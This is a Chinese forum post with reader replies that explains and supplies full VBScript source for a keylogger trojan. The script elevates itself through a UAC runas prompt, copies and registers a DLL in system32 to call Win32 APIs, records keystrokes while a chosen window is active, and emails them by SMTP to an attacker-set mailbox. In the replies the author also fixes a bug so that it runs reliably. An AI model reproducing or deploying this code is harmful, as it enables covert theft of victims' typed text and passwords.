浅谈VBS键盘记录型木马原理与模型【原创】

那么有木有这种传说中的函数呢？
答案是：有！！！
呵呵~~~下面隆重的向大家介绍下这个充满传奇般色彩的函数 ---- GetAsyncKeyState()
咦~~这是个什么函数？我怎么从来没在VBS的参考手则里见过她？
额~~~这个。。。她确实不存在于VBS的参考手则里，而是存在于MSDN的Win32 Platform SDK里。没错，她是一个Win32API的函数。。。。。。。。。。
好吧！我知道，新手童鞋又要问了？这Win32API到底又是个啥子东东？嗯，为了让新手不至于迷惑，我们就简单的将其概括为：Windows操作系统提供给应用程序的一个调用接口，里面提供了数以千计的系统函数，有着各种强大的函数以供调用。他是VC++程序员开发Win32平台下应用程序必备的。
当然，新手童鞋们没必要管那么多，一步一步慢慢学就可以了，想要了解跟多关于Win32API复杂的应用可以去搜索相关资料。
我们今天这个简单的【键盘记录型 木马】只会用到以下3个Win32API函数:
1.    GetAsyncKeyState()
2.    GetForegroundWindow()
3.    FindWindow()
这里我先对这三个Win32API函数做一个简单的解释，更详细的说明大家可以去查看MSDN或者百度下。
函数原型SHORT GetAsyncKeyState(int vKey) ---- 此函数可以异步的获取上次调用GetAsyncKeyState()函数以来，指定的虚拟键的按键状态，而且事实上它是在整个系统范围下工作的，并非MSDN上所说的只针对当前线程。此函数有一个参数vKey,此参数为指定的虚拟键码。
函数原型HWND GetForegroundWindow(VOID) ---- 此函数用于获取当系统当前的前台窗口句柄，即当前处于激活状态下的窗口，此函数没有参数。
函数原型HWND FindWindow(
   LPCTSTR lpClassName,   // 窗口类名（这个参数通常被忽略）
   LPCTSTR lpWindowName   // 窗口标题
) ---- 此函数用于获取具有参数指定的窗口类名和窗口标题的窗口的窗口句柄。通常我们只用传入第二个参数，也就是窗口的标题名就可以了。
好了，介绍完了这几个重要的Win32API函数后，下面一个更重要的问题来了！VBS能够调用Win32API吗？(答案当然是肯定的咯！不然我不白讲了！)VBS如何才能够调用Win32API函数？相信这也是一些VBS高手面临的一个问题。
其实VBS要调用Win32API的方法还是挺多的，常用的方法有两种:
一种是用微软的Office软件提供的VBA接口组件做跳板来间接的调用API，优点是一个VBS文件就可以搞定，无需其它文件。但这中方法缺点是，你需要在VBS里写VBA的代码，那么你就必须要对VBA有一定的了解，而且这种方法写出来的代码可读性很差，不利于新手们接受，更重要的是，这种方法的通用性很差，因为要使用这种方法的前提是，使用者的电脑上必须安装有Office系列软件，而不是所有的用户都安装有这套软件的。另外就是，这种方法的代码执行效率也是比较低的，原因相信就不用我多说了。
另外一种方法是通过COM组件间接的调用Win32API,这也是我们今天要使用的方法，用到的是鼎鼎大名的DynamicWrapper,这是一个老外编写的COM。此方法的优点是调用方便，使用简单，性能高效。缺点就是需要一个额外的DLL文件支持。要了解更多的资料大家可以自行搜索。
好吧！讲了这么多理论性的东西，大家估计也看累了，下面我们正式进入VBS代码实现的讲解，下面是整个程序的主体流程部分的代码:
Option Explicit


Call DoUACRunScript()         '提升脚本权限
'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
'+++ 初始化配置区域:
'**************************************** 参数设置 ****************************
Const WINDOW_TITLE         = "无标题 - 记事本"         '要监视的程序的窗口标题文字
Const PROCESS_NAME         = "notepad.exe"             '要监视的程序的进程名称
Const SENDER_MAIL_ADDR     = "xxxxxxx@163.com"         '用于发送邮件的邮箱地址
Const SENDER_MAIL_PWD     = "************"             '用于发送邮件的邮箱密码
Const SENDEE_MAIL_ADDR     = "xxxxxxxxxxxx@qq.com"     '用于接收邮件的邮箱地址
'**************************** 注册要使用的Win32API函数 ************************
Dim strDllPath
strDllPath = Replace(WScript.ScriptFullName,WScript.ScriptName,"dynwrap.dll")     '获取DLL文件的绝对路径
RegisterCOM strDllPath          '注册DynamicWrapper组件
Dim g_objConnectAPI
Set g_objConnectAPI = CreateObject("DynamicWrapper")     '创建全局的DynamicWrapper组件对象实例
'以下为声明将要用到的Win32API函数
With g_objConnectAPI
     .Register "user32.dll","FindWindow","i=ss","f=s","r=l"
     .Register "user32.dll","GetForegroundWindow","f=s","r=l"
     .Register "user32.dll","GetAsyncKeyState","i=l","f=s","r=l"
End With
'+++
'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
'******************************************************************************
'*** 程序主体流程区域:
'循环监视指定窗口
Do
     If IsFoundWindowTitle() And IsTheWindowActive() Then Exit Do     '当指定窗口存在且为当前激活窗口跳出循环
     WScript.Sleep 500
Loop
Dim TheKeyResult     '用于保存键盘记录的结果
TheKeyResult = ""
'开始循环记录按键，当窗口出于非激活状态后或者用户输入回车键后停止记录按键
Do
     If Not IsTheWindowActive() Then Exit Do
     Dim TheKey
     TheKey = ""
     TheKey = GetThePressKey()
     TheKeyResult = TheKeyResult & TheKey
     WScript.Sleep 20
Loop Until TheKey = "[ENTER]"
'MsgBox TheKeyResult,vbSystemModal,"按键信息"
SendEmail SENDER_MAIL_ADDR,SENDER_MAIL_PWD,SENDEE_MAIL_ADDR,"","按键内容",TheKeyResult,""         '发送按键信息的邮件
'CreateLogFile TheKeyResult         '以日志形式保存所记录的按键信息
'***
'******************************************************************************


下面，我对整个程序的流程做一个简单的说明：
首先 Call DoUACRunScript() 这一行代码是用来提升VBS脚本在Win7或Vista下UAC(用户帐户控制)的权限，因为在Win7/Vista下如果一个程序没有获得管理员权限运行的话是没有权利做一些重要的更改的，比如说向系统文件夹里复制文件，我们这个脚本要注册DynamicWrapper这个组件之前先要将其DLL复制到Windows/system32/目录下，在Win7/Vista如果没有足够的权限是不允许VBS执行此项操作的，而XP下是没问题的。下面是这个函数的实现代码：
'在系统为Win7或Vista时提升VBS脚本权限
Sub DoUACRunScript()
    
     Dim objOS
     For Each objOS in GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
         If InStr(objOS.Caption,"XP") = 0 Then
             If WScript.Arguments.length = 0 Then
                 Dim objShell
                 Set objShell = CreateObject("Shell.Application")
                 objShell.ShellExecute "wscript.exe", Chr(34) &_
                 WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
             End If
         End If
     Next
    
End Sub

接着是一些相关的参数设置：
'**************************************** 参数设置 ****************************
Const WINDOW_TITLE          = "无标题 - 记事本"          '要监视的程序的窗口标题文字
Const PROCESS_NAME          = "notepad.exe"              '要监视的程序的进程名称
Const SENDER_MAIL_ADDR      = "xxxxxxx@163.com"          '用于发送邮件的邮箱地址
Const SENDER_MAIL_PWD      = "************"              '用于发送邮件的邮箱密码
Const SENDEE_MAIL_ADDR      = "xxxxxxxxxxxx@qq.com"      '用于接收邮件的邮箱地址
注释已经说明的很清楚了，我就不在复述了。
紧接着的代码对于不了解DynamicWrapper组件的朋友就比较重要了：
'**************************** 注册要使用的Win32API函数 ************************
Dim strDllPath
strDllPath = Replace(WScript.ScriptFullName,WScript.ScriptName,"dynwrap.dll")      '获取DLL文件的绝对路径
RegisterCOM strDllPath           '注册DynamicWrapper组件
RegisterCOM这个函数的代码如下:
-----------------------------------我是分割线------------------------------------
'注册组件
Sub RegisterCOM(strSource)
     Dim objFSO
     Dim objWshShell
     Set objFSO = CreateObject("Scripting.FileSystemObject")
     Set objWshShell = CreateObject("Wscript.Shell")
     Dim strSystem32Dir
     strSystem32Dir = objWshShell.ExpandEnvironmentStrings("%WinDir%") & "\system32\"
    
     If objFSO.FileExists(strSystem32Dir & "dynwrap.dll") Then Exit Sub
     objFSO.CopyFile strSource,strSystem32Dir,True
    
     WScript.Sleep 1000
     Dim blnComplete
     blnComplete = False
     Do
         If objFSO.FileExists(strSystem32Dir & "dynwrap.dll") Then
             objWshShell.Run "regsvr32 /s " & strSystem32Dir & "dynwrap.dll"
             blnComplete = True
         End If
     Loop Until blnComplete
End Sub
-----------------------------------我是分割线------------------------------------
Dim g_objConnectAPI
Set g_objConnectAPI = CreateObject("DynamicWrapper")      '创建全局的DynamicWrapper组件对象实例
'以下为声明将要用到的Win32API函数
With g_objConnectAPI
      .Register "user32.dll","FindWindow","i=ss","f=s","r=l"
      .Register "user32.dll","GetForegroundWindow","f=s","r=l"
      .Register "user32.dll","GetAsyncKeyState","i=l","f=s","r=l"
End With
这里，用DynamicWrapper组件提供的Register方法对要使用的API函数进行注册，只有注册后才能使用！其中，Register的第一个参数为要注册的函数所在的动态库，可以在MSDN上查到，第二个参数就是要注册的函数名，第三个参数是API函数的参数个数和对应的数据类型,'i='参数=的意思,第四个参数'f='指的是函数的调用方式，Win32API采用的是__stdcall的方式，所以这一项默认的为"f=s"即可，第五个参数'r='是指函数的返回值类型。更多说明请搜索DynamicWrapper组件的使用说明。


主体流程部分注释已经说明的很清楚了，下面是其中用到的几个函数的具体代码:
'检测WINDOW_TITLE所指定标题文字的窗口是否存在
Function IsFoundWindowTitle()
     Dim hWnd
     hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
     IsFoundWindowTitle = CBool(hWnd)
    
End Function
'检测WINDOW_TITLE所指定标题文字的窗口是否为当前激活的窗口
Function IsTheWindowActive()
     Dim hWnd,hAct
     hWnd = g_objConnectAPI.FindWindow(vbNullString,WINDOW_TITLE)
     hAct = g_objConnectAPI.GetForegroundWindow()
     IsTheWindowActive = CBool(hWnd=hAct)
    
End Function
'检查当前进程列表中是否存在指定的进程
Function IsExistProcess(strProcessName)
     Dim objWMIService
     Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
     Dim colProcessList
     Set colProcessList = objWMIService.ExecQuery("SELECT * FROM Win32_Process WHERE Name='" & strProcessName & "'")
     IsExistProcess = CBool(colProcessList.Count)
End Function
'发送邮件
Function SendEmail(SenderAddress, SenderPassword, SendeeAddress, BackupAddress, MailTitle, MailContent, MailAttachment)
     Const MS_Space = "http://schemas.microsoft.com/cdo/configuration/"     '配置空间
    
     Dim objEmail
     Set objEmail = CreateObject("CDO.Message")
     Dim strSenderID
     strSenderID = Split(SenderAddress,"@",-1,vbTextCompare)
    
     objEmail.From = SenderAddress     '寄件人地址
     objEmail.To = SendeeAddress      '收件人地址
     If BackupAddress <> "" Then
         objEmail.CC = BackupAddress '备用地址
     End If
     objEmail.Subject = MailTitle     '邮件主题
     objEmail.TextBody = MailContent '邮件内容
     If MailAttachment <> "" Then
         objEmail.AddAttachment MailAttachment     '附件地址
     End If
    
     With objEmail.Configuration.Fields
        
         .Item(MS_Space & "sendusing") = 2                             '发信端口


         .Item(MS_Space & "smtpserver") = "smtp." & strSenderID(1)     '发信服务器
         .Item(MS_Space & "smtpserverport") = 25                         'SMTP服务器端口
         .Item(MS_Space & "smtpauthenticate") = 1                      'CDObasec
         .Item(MS_Space & "sendusername") = strSenderID(0)             '寄件人邮箱账户名
         .Item(MS_Space & "sendpassword") = SenderPassword             '帐户名密码    
         .Update
        
     End With
    
     objEmail.Send     '发送邮件
    
     Set objEmail = Nothing
     SendEmail = True
    
     If Err Then
         Err.Clear
         SendEmail = False
     End If
    
End Function
'建立记录日志
Sub CreateLogFile(strLogContent)
    
     Dim objFSO
     Dim objWshShell
     Set objFSO = CreateObject("Scripting.FileSystemObject")
     Set objWshShell = CreateObject("Wscript.Shell")
     Dim CurrentDirectory
     CurrentDirectory = objWshShell.CurrentDirectory & "\"
     Set objWshShell = Nothing
    
     Dim objLogFile
     Set objLogFile = objFSO.OpenTextFile(CurrentDirectory & "RecordingLog.txt",8,True)
     Set objFSO = Nothing
     objLogFile.WriteLine("记录时间----> " & Now() & " :")
     objLogFile.WriteLine()
     objLogFile.WriteLine(strLogContent)
     objLogFile.Close
    
End Sub

虽然是用DynamicWrapper。。。不过很好呀。。。

哈哈 又精了一个，貌似最近调API的帖子都精了

我只能说你太闲了

强势 围观!
难得好帖.... 支持..

发送邮件 那部分 ,对我来说 难理解..

我用的是vista，然后提权的函数提示“Activex不能创建对象”。。。是人品问题么。。。。
Sub DoUACRunScript()
Dim objOS
For Each objOS in GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
If InStr(objOS.Caption,"XP") = 0 Then
If WScript.Arguments.length = 0 Then
Dim objShell
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "wscript.exe", Chr(34) &_
WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
End If
End If
Next
End Sub
DoUACRunScript


嗯~~我测试了下，问题应该不是出在提权的函数这，而是出在创建DynamicWrapper对象这：
RegisterCOM strDllPath          '注册DynamicWrapper组件
Dim g_objConnectAPI
Set g_objConnectAPI = CreateObject("DynamicWrapper")
应该是由于注册组件后，Win7/Vista存在一定的延迟，所以刚注册完组件后立马去建立这个组件的对象会出现找不到对象，所以就提示“Activex不能创建对象”，如果你第二次再运行一遍的话应该就不会报错了！
解决方案很简单，在注册组件函数RegisterCOM(strSource)的末尾添加一条延迟函数，WScript.Sleep 2000,延迟两秒后退出函数，如下：
Sub RegisterCOM(strSource)
     Dim objFSO
     Dim objWshShell
     Set objFSO = CreateObject("Scripting.FileSystemObject")
     Set objWshShell = CreateObject("Wscript.Shell")
     Dim strSystem32Dir
     strSystem32Dir = objWshShell.ExpandEnvironmentStrings("%WinDir%") & "\system32\"
    
     If objFSO.FileExists(strSystem32Dir & "dynwrap.dll") Then Exit Sub
     objFSO.CopyFile strSource,strSystem32Dir,True
    
     WScript.Sleep 1000
     Dim blnComplete
     blnComplete = False
     Do
         If objFSO.FileExists(strSystem32Dir & "dynwrap.dll") Then
             objWshShell.Run "regsvr32 /s " & strSystem32Dir & "dynwrap.dll"
             blnComplete = True
         End If
     Loop Until blnComplete
   ''''''''''新添加的代码'''''''''''''''
   WScript.Sleep 2000 '延迟两秒退出   
   ''''''''''新添加的代码'''''''''''''''
End Sub
这个问题我已在完整程序包中修正。